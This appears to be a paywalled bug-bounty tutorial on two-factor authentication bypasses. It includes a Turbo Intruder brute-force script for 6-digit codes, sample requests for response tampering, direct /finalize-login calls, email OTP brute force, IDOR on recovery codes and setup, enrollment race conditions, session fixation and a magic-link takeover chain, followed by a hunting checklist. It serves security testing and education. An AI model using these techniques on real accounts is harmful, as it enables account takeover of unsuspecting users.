Quick answer
2FA reduces the risk of credential stuffing but it is no silver bullet — every implementation introduces its own class of bug. The five most profitable bypasses: brute force (missing or weak rate limit → 6 digits are 1M combos, beatable in hours), response manipulation (changing the verify endpoint's status), fallback abuse (skipping TOTP using recovery codes / email OTP), race conditions in setup (linking your authenticator to the victim's account between register and enroll) and session fixation (the post-2FA session inherits pre-2FA permissions). Bounties: €1,500-€15,000 — the most profitable bug class of 2026 behind IDOR.
TOTP brute force — the bug that shouldn't exist but does
TOTP generates 6 digits every 30s. Total space: 1,000,000 combos. If the server does not rate-limit the verify endpoint → beatable.
Quick test
POST /api/auth/2fa/verify
{"code": "000000"} → 401 Invalid code
{"code": "000001"} → 401 Invalid code
{"code": "000002"} → 401 Invalid code
...
Does the response change after N requests? If after 1000 you still get 401 (not 429 Too Many Requests), brute force is viable.
Countdown
With a 30s TOTP and a rate of 100 req/s against 1M combos → an average of 5000s ≈ 1.5h. If the rate is 500/s (parallel) → 17min. If the rate is 10/s → almost 14h but still beatable.
Assuming the code changes every 30s, you need to resync after each window — but since the code stays valid during those 30s, in any batch you have a chance to hit.
Tools
# turbo-intruder (Burp extension) — single-packet HTTP/2 attack
# Permite ~30 requests/segundo con un solo paquete TCP
# turbo-intruder script
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=100, engine=Engine.HTTP2)
for i in range(1000000):
code = str(i).zfill(6)
engine.queue(target.req, code)
def handleResponse(req, interesting):
if req.status != 401: # 200 = bypass
table.add(req)
<!-- PAYWALL -->[!warning] Don't burn your test user's account Brute force generates a huge amount of logs. Warn the program beforehand. Some consider "denial of service against your own account" out of scope.
Response manipulation — the easy €5000
The client trusts the server's response. If the app is an SPA and verify returns {"success": true, "redirect": "/dashboard"} for valid and {"success": false} for invalid — manipulating the response in Burp fools the frontend.
Pattern
POST /api/auth/2fa/verify
{"code": "000000"}
← Response (interceptada en Burp):
HTTP/1.1 401 Unauthorized
{"success": false}
← cambia a
HTTP/1.1 200 OK
{"success": true, "redirect": "/dashboard"}
If the frontend reads success to decide whether to redirect + store the token → you get into the dashboard. It works if:
- The server issues the session cookie before 2FA (a frequent anti-pattern).
- Final authentication lives in the frontend (poorly implemented SPA).
Status code only
Some clients only look at status === 200:
HTTP/1.1 401 Unauthorized → cambia a HTTP/1.1 200 OK
The frontend redirects.
"code accepted" pattern on a different endpoint
Some apps validate 2FA at /verify and then call /finalize-login with the pre-2FA session token. If /finalize-login doesn't verify that /verify passed (it assumes the frontend did) → a direct call to /finalize-login skips 2FA:
POST /api/auth/finalize-login
Cookie: pre_2fa_session=XXX
← 200 OK + cookie de sesión post-2FA
Fallback abuse — the 2FA's 2FA
Almost all apps have fallbacks in case the user loses their authenticator: backup codes, email/SMS OTP, security questions. Each fallback is a new surface.
Email OTP — weak
If TOTP requires brute forcing 1M combos, email OTP is usually 4-6 digits but without strict rate limiting because "the attacker needs the email":
POST /api/auth/2fa/send-email-otp
{"userId": VICTIMA}
← email enviado
POST /api/auth/2fa/verify-email-otp
{"code": "0000"} ← brute force 4 dígitos = 10K combos
{"code": "0001"}
...
Especially brutal if the OTP doesn't expire or expires after hours — you have a large window.
Recovery codes — leak in setup
When enrolling 2FA, the server shows 10 backup codes. If the endpoint that generates them has an IDOR:
GET /api/auth/2fa/recovery-codes/USERID
← idealmente solo USERID==me, pero IDOR a otros
→ A list of 10 codes that bypass TOTP for that user.
Security questions
The "I forgot my 2FA" endpoint asks questions:
- "What's your mother's maiden name?" → OSINT / LinkedIn
- "What's your first pet's name?" → frequently on social media
- Some apps have a predefined question ("First school?") → common answers in a wordlist
Race condition in 2FA setup
When a user enrolls 2FA, there is a window between "shows QR code" and "verifies first code". If the server allows multiple parallel enrollments:
Pattern
Atacante (con sesión robada por XSS/credential stuff, sin 2FA aún):
POST /api/auth/2fa/setup → QR code 1 (secret A)
POST /api/auth/2fa/setup → QR code 2 (secret B) ← sobrescribe el secret?
POST /api/auth/2fa/setup → QR code 3 (secret C)
If the last request overwrites the secret in the DB without invalidating the previous ones:
- The victim scans QR 1, enrolls TOTP normally.
- But the final secret in the DB is C (attacker-controlled).
- The attacker generates a code with secret C → gets in as the victim.
Documented real bounty: €3,500 (fintech).
Setup + verify split
Some apps separate setup (generates secret + immediate persistence) from verify (confirms the user scanned it). If setup persists the secret before verify → an attacker with a valid session can run setup on another account via IDOR on the userId body:
POST /api/auth/2fa/setup
{"userId": VICTIMA, "secret": "ATACANTE_SECRET"}
← secret guardado para víctima
Victim's next login → asks for 2FA → attacker has the secret → gets in.
Post-2FA session fixation
A frequent anti-pattern: the session issued pre-2FA (after password) stays valid after 2FA. If the server does not rotate the session token after verify:
Pattern
- The attacker captures the victim's pre-2FA session (XSS, sniffing over HTTP, etc.).
- The victim completes 2FA normally.
- The attacker uses the same pre-2FA session → it is now post-2FA with all permissions.
Correct fix: rotate the session token after verify (just like after a password reset).
Cookie scope confusion
Some apps issue two cookies: session (post-password) and session_2fa (post-2FA). If the backend only checks session for "public" endpoints but assumes 2FA is validated for everything → partial bypass.
Magic link / passwordless 2FA bypass
Apps with magic link as an alternative auth method frequently skip 2FA because "the email is a factor". But if the email doesn't require 2FA → an attacker with access to the email wins even if the main app has 2FA.
Chain
1. Atacante envía magic link a evil-controlled-email (vía IDOR de profile update)
2. Magic link → login completo, salta 2FA
3. Cambia 2FA settings, password, etc.
Default credentials in backup codes
Some apps generate backup codes with predictable patterns:
- 8 digits derived from the
userIdwith a static seed. - Truncated hash of the
username. - "BACKUP-00001" sequential per user.
Test: enroll 2FA on two test accounts, compare the backup codes. Is there a pattern or are they real random?
Hunting checklist
- Rate limit on the verify endpoint — 1000 requests with no 429?
- Response manipulation: try modifying status + body to force success.
-
/finalize-loginendpoint or equivalent — can it be called without going through/verify? - Fallbacks: email/SMS OTP (rate limit, expiration), recovery codes (IDOR on listing), security questions (predictable/OSINT).
- Race condition on
/setup: multiple parallel requests → does it overwrite the secret? - IDOR on
/setup:userIdbody — can I enroll 2FA on another account? - Session rotation after verify: does the token change or stay the same?
- Magic link / passwordless that skips 2FA.
- Backup codes with predictable patterns (compare across accounts).
- Post-2FA cookie validated on ALL sensitive endpoints (not just the first).
- Document the bypass with the minimal request + impact: ATO vs persistence vs role escalation.
Related labs
Practice TOTP brute force, response manipulation, fallback abuse and setup race conditions in 2FA and Auth labs.
Practice this in a lab
0 Click Ato Otp Brute Force
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
There's an extra payload at the end
El bypass de 2FA via session fixation + IDOR del setup endpoint que da control completo sin nunca conocer el código original. Reportado a 3 fintech con bounties combinados de €8000.
€7.99/mo · cancel anytime
Related articles
CSRF (Cross-Site Request Forgery) — fully explained with bypasses
CSRF: how it's exploited, common defenses (tokens, SameSite, Origin), bypasses (method change, JSON, double-submit, content-type) and where to hunt it in any app.
0-click Account Takeover — OTP brute force + Email Normalization
Two separate flaws look minor. Together, they hand you full ATO knowing only the email. Real bounty: €560 and 12 minutes of exploitation.
JWT — vulnerabilities, bypasses and claim manipulation
alg=none, RS256→HS256 confusion, kid SQLi/path traversal, jku spoofing, secret cracking with hashcat. How to hunt poorly verified JWTs.